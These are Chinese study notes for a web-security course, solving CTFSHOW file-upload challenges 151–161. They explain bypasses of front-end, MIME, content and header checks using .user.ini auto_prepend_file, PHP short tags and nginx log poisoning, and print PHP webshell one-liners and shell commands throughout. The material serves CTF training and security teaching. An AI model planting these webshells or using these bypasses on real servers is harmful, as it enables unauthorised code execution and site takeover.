知识点:

1、文件上传-前端验证
2、文件上传-黑白名单
3、文件上传-user.ini妙用(受环境限制)
4、文件上传-PHP语言特性

部分不是通用的,但是思路相同,关键点在于环境差异,解决形式略微不同。

详细点:

1、检测层面:前端,后端等

2、检测内容:文件头,完整性,二次渲染等

3、检测后缀:黑名单,白名单,MIME(文件类型)检测等

4、绕过技巧:多后缀解析(如.php.jpg),截断,中间件特性(可能导致过滤代码失效),条件竞争等

本章课程内容:

1、文件上传-CTF赛题知识点
2、文件上传-中间件解析&编辑器安全
3、文件上传-实例CMS文件上传安全分析

实践:CTFSHOW-文件上传-151到161关卡

前置:

后门代码需要用特定格式后缀解析,不能以图片后缀解析脚本后门代码(解析漏洞除外)
如:jpg图片里面有php后门代码,不能被触发,所以连接不上后门
文件上传主要是上传PHP文件,让后台去使用PHP文件。
解析什么后缀的文件就上传什么样的后门代码。

解题

文件上传的思路:配合文件上传,把后门上传上去,获取后端权限。

151 152-JS验证+MIME
Content-Type: image/png
1.前端验证时,通过修改前端的js进行绕过
一句话木马:<?php eval($_POST[x]);?>
连接文件并且传入POST参数x:
x=system('ls');
x=system('ls ../');
x=system('tac ../flag.php');

2.MIME验证:数据包字段,通过文件后缀检查文件格式。
和上题一样,修改前端验证,上传php,再改掉数据包的MIME即可。
后台认证的文件格式就是MIME
Content-Type: image/png

上两题的前提都是对方服务器的文件名只在前台进行认证。
// 两个小点成功的基础:传入后端的php能被执行/解析
// 一般网站是php网站,就上传1.php的后门代码1进行入侵
// 根据网站脚本语言决定文件上传文件的格式。


153-JS验证+user.ini
https://www.cnblogs.com/NineOne/p/14033391.html
上传.user.ini,将文件包含进index.php
.user.ini:auto_prepend_file=test.png
上传木马png,访问对应目录下的index.php,得到flag
test.png:<?php eval($_POST[x]);?>
// 利用的条件:.user.ini ,index.php调用.user.ini(使.user.ini生效)
// .user.ini是php防跨站目录访问的文件配置,里面放的是你网站的文件夹路径地址。

154 155-JS验证+user.ini+短标签
内容检测:当检测到<?php 这种头部时,阻止文件上传。
1.换后门
2.换一种php写法
<? echo '123';?> //前提是开启配置参数short_open_tags=on
<% echo '123';%> //前提是开启配置参数asp_tags=on
<?=(表达式)?> //不需要开启参数设置
<script language="php">echo '1'; </script> //不需要修改参数开关
完成内容检测的绕过后,就可以按照上面的方法传入后门了。
.user.ini:auto_prepend_file=test.png
test.png:<?=eval($_POST[x]);?>
浏览器POST:x=system('tac ../flag.php');

156 JS验证+user.ini+短标签+过滤
.user.ini使用的是php函数
符号过滤,过滤掉了POST的方括号。
.user.ini:auto_prepend_file=test.png
test.png:<?=eval($_POST{x});?>

157 158 159 JS验证+user.ini+短标签+过滤
过滤了分号和其它符号。正则表达式过滤。
直接写函数读取flag,省略分号。
使用反引号 运算符的效果与函数 shell_exec()相同
.user.ini:auto_prepend_file=test.png
// 正则表达式查文件绕过特殊符号
test.png:<?=system('tac ../fl*')?>
// 这是括号被过滤的情况
test.png:<? echo `tac /var/www/html/f*`?>

160 JS验证+user.ini+短标签+过滤
包含默认日志,日志记录UA头,UA头写后门代码(nginx)
尝试把东西写到日志记录文件
.user.ini:auto_prepend_file=test.png
// php的点连接,防止php过滤日志性质文件
test.png:<?=include"/var/lo"."g/nginx/access.lo"."g"?>
访问时,把UA头替换为后门代码,访问日志文件时使用POST参数,最后使用日志展示出对应的目标信息。

161 JS验证+user.ini+短标签+过滤+文件头
文件头部检测是否为图片格式文件
.user.ini:GIF89A auto_prepend_file=test.png
test.png:GIF89A <?=include"/var/lo"."g/nginx/access.lo"."g"?>